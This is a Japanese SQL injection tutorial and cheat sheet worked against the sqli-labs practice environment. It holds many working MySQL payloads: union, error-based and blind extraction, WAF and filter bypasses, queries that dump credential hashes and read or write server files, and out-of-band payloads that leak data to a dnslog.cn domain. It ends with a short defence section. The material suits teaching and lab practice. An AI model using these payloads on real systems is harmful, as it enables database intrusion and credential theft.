SQL インジェクションとは?#
SQL インジェクションとは、Web アプリケーションがユーザー入力データの妥当性を判断またはフィルタリングしない場合、攻撃者が Web アプリケーション内で事前に定義されたクエリ文の末尾に追加のSQL 文を挿入し、管理者が知らないうちに不正操作を実行することを指します。これにより、データベースサーバーが無許可の任意のクエリを実行し、対応するデータ情報を取得することが可能になります。
原理#
SQL インジェクション攻撃は、入力を操作して SQL 文を変更し、WEB サーバーに対して攻撃を行う方法です。簡単に言えば、post/getweb フォーム、入力ドメイン、またはページリクエストのクエリ文字列に SQL コマンドを挿入し、最終的に Web サーバーが悪意のあるコマンドを実行するプロセスです。
パラメータタイプ#
以下の例では、入力した値がid
パラメータに割り当てられると仮定します。異なるパラメータタイプには、異なるサフィックスでパラメータを閉じる必要があります。
1、数値型#
select * from users where id=1;
2、文字列型#
select * from users where id="1";
select * from users where id='1';
3、歪型#
select * from users where id=('1');
select * from users where id=(('1'));
select * from users where id=("1");
select * from users where id=(("1"));
4、検索型#
mysql> select * from users where id like '%1%';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+----------+
5 rows in set (0.00 sec)
5、insert into 型#
これは私自身の分類であり、正誤は自己判断です。
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('パラメータ位置', '$IP', $uname);
閉じる
' or '
エラー型のみを利用する例:
' or updatexml(1,concat(0x7e,database()),1) or '
update 型も同様です。
6、order by 型#
$sql="SELECT * FROM users ORDER BY $id";
エラー型のみを利用する例:
updatexml(1,concat(0x7e,user()),1)
攻撃タイプ#
インバンド(In-Band)SQL インジェクション#
1、ユニオンベース(Union-based)SQL インジェクション#
ユニオンクエリで必要な情報を取得します。
select * from users where id="1" union select 1,2,3 %23;
ユニオンセレクトの後には、前のセレクトのフィールド数に対応する必要があります。さもなければエラーになります。
フィールド数を確認する方法#
order by
select * from users where id="1" order by フィールド数;
エラーと成功実行の間で、成功実行の数がフィールド数です。
mysql> select * from users where id="1" order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql> select * from users where id="1" order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
group by
同様に
select * from users where id="1" group by フィールド数;
mysql> select * from users where id="1" group by 4;
ERROR 1054 (42S22): Unknown column '4' in 'group statement'
mysql> select * from users where id="1" group by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
2、エラーベース(Error-based)SQL インジェクション#
ページが返すエラーメッセージを利用して、必要な情報を取得します。
gtid_subset エラー#
テストの結果、mysql-5.7.26 バージョンで利用可能で、5.5.29 バージョンでは利用できません。
mysql> select * from users where id="1" and gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
floor エラー#
mysql> select * from users where id="1" union select 1,2,count(*) from information_schema.tables group by concat(floor(rand(0)*2) ,0x7e,user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key '<group_key>'
updatexml エラー#
mysql> select * from users where id="" or updatexml(1,concat(0x7e,database()),1);
ERROR 1105 (HY000): XPATH syntax error: '~security'
extractvalue エラー#
mysql> select * from users where id="" or extractvalue(1,concat(0x7e,database()));
ERROR 1105 (HY000): XPATH syntax error: '~security'
exp エラー#
MySQL 5.5.49 以降のバージョンでは無効になりました。
exp(~(SELECT * from(select user())a))
geometric エラー#
mysql> select ST_LatFromGeoHash((select * from(select * from(select user())a)b));
ERROR 1411 (HY000): Incorrect geohash value: 'root@localhost' for function ST_LATFROMGEOHASH
3、ブラインドインジェクション#
パラメータの後に論理演算子と条件判断を付けて、必要な情報を一文字ずつ判断します。
3.1 ブールベース(Boolean-based)SQL インジェクション#
ページが返すサイズに基づいて、条件が正しいかどうかを判断します。
mysql> select * from users where id="1" and length(database())=8 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id="1" and length(database())=9 ;
Empty set (0.00 sec)
上記のように、現在のデータベース
の名前の長さが 8 であることが推測できます。
3.2 時間ベース(Time-based)SQL インジェクション#
ページの応答時間に基づいて、条件が正しいかどうかを判断します。
http://192.168.31.121/sqli-labs/Less-1/?id=1' and if(length(database())=8,sleep(4),1) %23
http://192.168.31.121/sqli-labs/Less-1/?id=1' and if(length(database())=7,sleep(4),1) %23
上記の読み込み時間から、現在のデータベース
の名前の長さが 8 であることが判断できます。
関数の説明
if(条件判断, 真の場合は実行, 偽の場合は実行)
4、スタックインジェクション#
複数の SQL 文を一緒に実行し、セミコロン
;
の後に SQL 文を実行できます。
理由:ソースコードがmysqli_multi_query()
を使用してパラメータを受け取るためです。
5、二次インジェクション#
一般的にアカウント登録時に使用され、他の人のパスワードを変更する影響があります。
- ユーザー
test
のパスワードは asd と仮定します。 - ハッカーはユーザー
test'#
を作成し、パスワードを 123 にします。 - ハッカーは
test'#
ユーザーとしてログインし、パスワードを admin に変更します。 - (データベースは UPDATE users SET PASSWORD='admin' where username='test'#' and password='123' という SQL 文を実行しました)
- したがって、本来は
test'#
ユーザーのパスワードを変更するはずが、test
のパスワードを変更することになりました。
アウトオブバンド(Out-of-Band)SQL インジェクション#
様々なデータを直接データベースサーバーから攻撃者が制御するコンピュータや第三者プラットフォームに送信します。

OOB 攻撃の成功は、出口ファイアウォールのルールに基づいており、攻撃を受けやすいシステムと周辺ファイアウォールからの出力リクエストが許可されているかどうかに依存します。また、ドメインネームサーバー(DNS)からデータを抽出することは、最も隠密で効果的な方法と見なされています。
SQL インジェクションは DNS を利用してクエリ結果を取得します(OOB)。
利用条件
Windows 環境が必要です。
- DBMS には、直接または間接的に DNS 解決プロセスを引き起こすことができるサブルーチンが必要です。つまり、UNC を使用する必要があります。
- Linux には UNC パスがないため、Linux 環境ではこの方法でデータを取得することはできません。
インジェクションポイント#
1、URL#
http://192.168.31.121/sqli-labs/Less-1/?id=1
2、User-agent#
User-Agent: ' or updatexml(1,concat(0x7e,database()),1) or '
主なソースコード
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
print_r(mysql_error()); //この行がないと、エラーメッセージが表示されません

3、Cookie#
Cookie: uname=' or gtid_subset(user(),1)%23
主なソースコード
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
die('Issue with your mysql: ' . mysql_error());

4、Referer#
Referer: ' or gtid_subset(user(),1) or '
主なソースコード
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
print_r(mysql_error());

5、リクエストボディ#
URL テストと同様です。
SQL インジェクションの検出方法#
上記のインジェクションポイント
に基づいて検出できます。
- パラメータに + 1、-1 を加え、ページに変化があるかどうかを確認します。変化があれば、データがデータベースから取得されている可能性があり、SQL インジェクションの可能性があります。
’
を入力してページの変化を確認します。変化があれば SQL インジェクションの可能性があります。
バイパス方法#
1、#、-- を空にする#
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
バイパス
' or gtid_subset(user(),1) or '
' union select 1,user(),3 or '
' union select 1,user(),3 '
2、and、or を空にする#
$id= preg_replace('/or/i',"", $id); //ORを削除(大文字小文字を区別しない)
$id= preg_replace('/AND/i',"", $id);
バイパス
' oorr gtid_subset(user(),1)%23
' aandnd gtid_subset(user(),1)%23
' %26%26 gtid_subset(user(),1)%23
' %7c%7c gtid_subset(user(),1)%23
%26 - &
&& も and として使用できます。
%7c - |
|| も or として使用できます。
検証
mysql> select * from users where id='' && gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
mysql> select * from users where id='' || gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
3、#、--、and、or、/* 、\s、\ を空にする#
$id= preg_replace('/or/i',"", $id); //ORを削除(大文字小文字を区別しない)
$id= preg_replace('/and/i',"", $id); //ANDを削除(大文字小文字を区別しない)
$id= preg_replace('/[\/\*]/',"", $id); ///*を削除
$id= preg_replace('/[--]/',"", $id); //--を削除
$id= preg_replace('/[#]/',"", $id); //#を削除
$id= preg_replace('/[\s]/',"", $id); //空白を削除
$id= preg_replace('/[\/\\\\]/',"", $id); //スラッシュを削除
\sは空白を指し、空白、改行、タブインデントなどすべての空白を含みます。
バイパス
'||gtid_subset(user(),1)||'
'%26%26gtid_subset(database(),1)%26%26'
検証
mysql> select * from users where id=''||gtid_subset(user(),1)||'';
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
4、union、select を空にする#
$id= preg_replace('/union\s+select/i',"", $id);
バイパス
union/*!66666A*/%23%0aselect
/*!44444union*/select
uunion%0aselectnion%0aselect (二重書きバイパス)
mysql> select * from users where id='' /*!44444union*/select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
- 上記のすべてを空にした場合、どのようにバイパスしますか?
5、'、" をエスケープする#
$uname = addslashes($uname1);
または
$string= mysql_real_escape_string($string);
または
$string = preg_replace('/\'/i', '\\\'', $string); //単一引用符をバックスラッシュでエスケープ
$string = preg_replace('/\"/', "\\\"", $string);
以下の記号はaddslashes()
関数によってバックスラッシュが追加されます。
- 単一引用符 (
'
) - 二重引用符 (
"
) - バックスラッシュ (
\
) - NUL(NUL バイト)
mysql_real_escape_string
— SQL 文に使用するために文字列内の特殊文字をエスケープします。
PHP 5.5.0 で非推奨となり、PHP 7.0.0 で削除されました。
バイパス
-1%df' union select 1,2,3--+
前提
mysql は gbk エンコーディングを使用する必要があります。さもなければ成功しません。
mysql_query("SET NAMES gbk");
6、二次エンコーディング#
- ユーザーが
id=1%27
を入力すると、PHP はid=1'
に変換します。 - エスケープコードが単一引用符を検出し、
id=1\'
にエスケープしますが、SQL インジェクションはできません。 - ユーザーが
id=1%2527
を入力すると、%25 が転送されるため、id=1%27
に変換されます。 - エスケープコードは単一引用符を検出せず、エスケープしません。
- しかし、後続の urldecode などの関数が URL を処理する際に、
id=1%27
をid=1'
に変換し、注入が可能になります。
ソースコードは最初に urldecode () を実行し、その後にエスケープを行う必要があります。
利用方法#
ユニオンクエリタイプの例#
1. すべてのデータベースを表示#
mysql> select * from users where id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;
+----+----------+---------------------------------------------------------------------------------------+
| id | username | password |
+----+----------+---------------------------------------------------------------------------------------+
| 1 | 2 | information_schema,challenges,dvwa,mysql,performance_schema,pikachu,security,sys,xvwa |
+----+----------+---------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
2. security データベースのすべてのテーブルを表示#
mysql> select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';
+----+----------+-------------------------------+
| id | username | password |
+----+----------+-------------------------------+
| 1 | 2 | emails,referers,uagents,users |
+----+----------+-------------------------------+
1 row in set (0.00 sec)
3. security データベースの users テーブルのすべてのフィールドを表示#
mysql> select * from users where id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';
+----+----------+----------------------+
| id | username | password |
+----+----------+----------------------+
| 1 | 2 | id,username,password |
+----+----------+----------------------+
1 row in set (0.05 sec)
4. users テーブルの username と password のすべてのレコードを表示#
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(username,':',password)) from security.users;
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password
|
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | 2 | Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4 |
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
5. データベースのパスを表示#
mysql> select * from users where id='-1' union select 1,2,@@datadir;
+----+----------+----------------------------------------------+
| id | username | password |
+----+----------+----------------------------------------------+
| 1 | 2 | E:\phpstudy_pro\Extensions\MySQL5.7.26\data\ |
+----+----------+----------------------------------------------+
1 row in set (0.05 sec)
6. データベースのバージョン#
mysql> select * from users where id='-1' union select 1,2,@@version;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 5.7.26 |
+----+----------+----------+
1 row in set (0.00 sec)
7. システムパラメータ#
最下部の一般的なシステム関数
を参照できます。
8. データベースのすべてのユーザーを表示#
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(user,'@',host)) from mysql.user;
+----+----------+------------------------------------------------------------+
| id | username | password |
+----+----------+------------------------------------------------------------+
| 1 | 2 | mysql.session@localhost,mysql.sys@localhost,root@localhost |
+----+----------+------------------------------------------------------------+
1 row in set (0.00 sec)
9. データベースユーザーのパスワードを表示#
データベースのバージョンによって、クエリの SQL 文が異なる場合がありますので、注意が必要です。
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(user,'-',authentication_string)) FROM mysql.user;
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password
|
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | 2 | root-*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,mysql.session-*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE,mysql.sys-*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
10. ユーザーのすべての権限を表示#
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(grantee,'-',privilege_type)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES;
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password
|
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | 2 | 'root'@'localhost'-SELECT,'root'@'localhost'-INSERT,'root'@'localhost'-UPDATE,'root'@'localhost'-DELETE,'root'@'localhost'-CREATE,'root'@'localhost'-DROP,'root'@'localhost'-RELOAD,'root'@'localhost'-SHUTDOWN,'root'@'localhost'-PROCESS,'root'@'localhost'-FILE,'root'@'localhost'-REFERENCES,'root'@'localhost'-INDEX,'root'@'localhost'-ALTER,'r |
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.06 sec)
11. 現在のユーザーがファイルの読み取り / 書き込み権限を持っているかを確認#
mysql> select * from users where id='-1' union select 1,2,file_priv FROM mysql.user WHERE user='root';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | Y |
+----+----------+----------+
1 row in set (0.00 sec)
12. MySQL がファイルの読み取り / 書き込みを許可しているかを確認#
NULL
は書き込みできないことを示し、空である場合は書き込み可能です。
mysql> select * from users where id='-1' union select 1,2,@@secure_file_priv;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | NULL |
+----+----------+----------+
1 row in set (0.00 sec)
13. ローカルファイルの内容を読み取る#
mysql> select * from users where id='-1' union select 1,2,load_file('e:/1.txt');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | aaaaaa |
+----+----------+----------+
1 row in set (0.00 sec)
14. ファイルに書き込む(ワンライナー)#
mysql> select * from users where id='-1' union select 1,2,user() into outfile 'e:/demo.txt';
Query OK, 1 row affected (0.00 sec)
into dumpfile
もファイルに書き込むことができます。

エラーベースインジェクション#
concat()
関数を組み合わせて、エラーメッセージを表示します。
gtid_subset エラー
mysql> select * from users where id="1" and gtid_subset(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1);
ERROR 1772 (HY000): Malformed GTID set specification '~information_schema,challenges,dvwa,mysql,performance_schema,pikachu,security,sys,xvwa'.
他のエラーも同様に利用でき、テンプレートは上記の攻撃タイプ
を参照し、ペイロードを変更すればよいです。
ブラインドインジェクション#
スクリプトを自分で書く必要があります。さもなければ、一つずつ試すのは遅すぎます。
スタッククエリ#
SQL の CRUD 機能をすべて実現できます。
アウトオブバンドインジェクション#
http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--
http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' union select 1,load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--
危害#
成功した SQL インジェクション攻撃は、パスワード、クレジットカードの詳細、または個人ユーザー情報などの機密データへの無許可のアクセスを引き起こす可能性があります。近年、多くの注目を集めたデータ漏洩事件は SQL インジェクション攻撃の結果であり、評判の損失や規制による罰金を引き起こしています。場合によっては、攻撃者は組織のシステムに持続的なバックドアを取得し、長期間にわたって気付かれない可能性のある長期的な危害を引き起こすことがあります。
防御#
- パラメータ化クエリとオブジェクトリレーショナルマッピングを使用してアプリケーションを開発する(入力パラメータは文字列リテラルパラメータとしてのみ扱われます)
- キーワードやさまざまな特殊文字をフィルタリングする
- エスケープ文字
- データベースに対して最小権限の原則を強制することで、SQL インジェクションの影響を軽減する
- データベースにアクセスする Web アプリケーションに Web アプリケーションファイアウォールを使用する
一般的なシステム関数とパラメータ#
基本情報関数 | 機能 |
---|---|
system_user() | システムユーザー名 |
user() | ユーザー名 |
current_user() | 現在のユーザー名 |
session_user() | データベースに接続しているユーザー名 |
database() | データベース名 |
version() | データベースバージョン |
@@datadir | データベースパス |
@@basedir | データベースインストールパス |
@@version_compile_os | オペレーティングシステム |
@@slow_query_log | スローログクエリ |
@@versoin_compile_os | オペレーティングシステムバージョン |
一般的なその他の関数#
3 つの重要な文字列関数の紹介は、参考:https://www.cnblogs.com/lcamry/p/5715634.html
文字列処理関数 | 機能 | 例 |
---|---|---|
重要 concat() | 区切りなしで文字列を結合 | select concat(c1,c2) from xxx |
重要 concat_ws() | 指定した区切りで文字列を結合 | select concat_ws(':',c1,c2) from xxx |
重要 group_concat() | カンマで区切って特定の列 / グループのデータを表示 | select group_concat(c1,c2) from xxx |
load_file() | サーバーファイルを読み取る | select loadfile('/tmp/a.txt') |
into outfile | サーバーにファイルを書き込む | select 'xxxx' into outfile '/tmp/a.txt' |
ascii() | 文字列の ASCII コード値 | select ascii('a') |
ord() | 文字列の最初の文字の ASCII 値を返す | select ord('abc') |
char() | ASCII 値に対応する文字列を返す | select char(97) |
mid() | 文字列の一部を返す | select mid('abcde',1,1) |
substr() | 文字列の一部を返す | select substr('abcde',1,1) |
length() | 文字列の長さを返す | select length('abc') |
left() | 文字列の最左面の数文字を返す | select left('mysql',2) |
floor() | X 以下の最大整数を返す | select floor(5.1) |
rand() | 0-1 の間のランダムな数を返す | select rand() |
if() | 三項演算 | select if(1>2,'A','B') |
strcmp() | 文字列の ASCII サイズを比較 | select strcmp('c','b') |
ifnull() | パラメータ 1 が null でない場合はパラメータ 1 を返し、そうでない場合はパラメータ 2 を返す | select ifnull(null,2) |
count() | 実行結果の数を返す | |
sleep() | 説明不要 |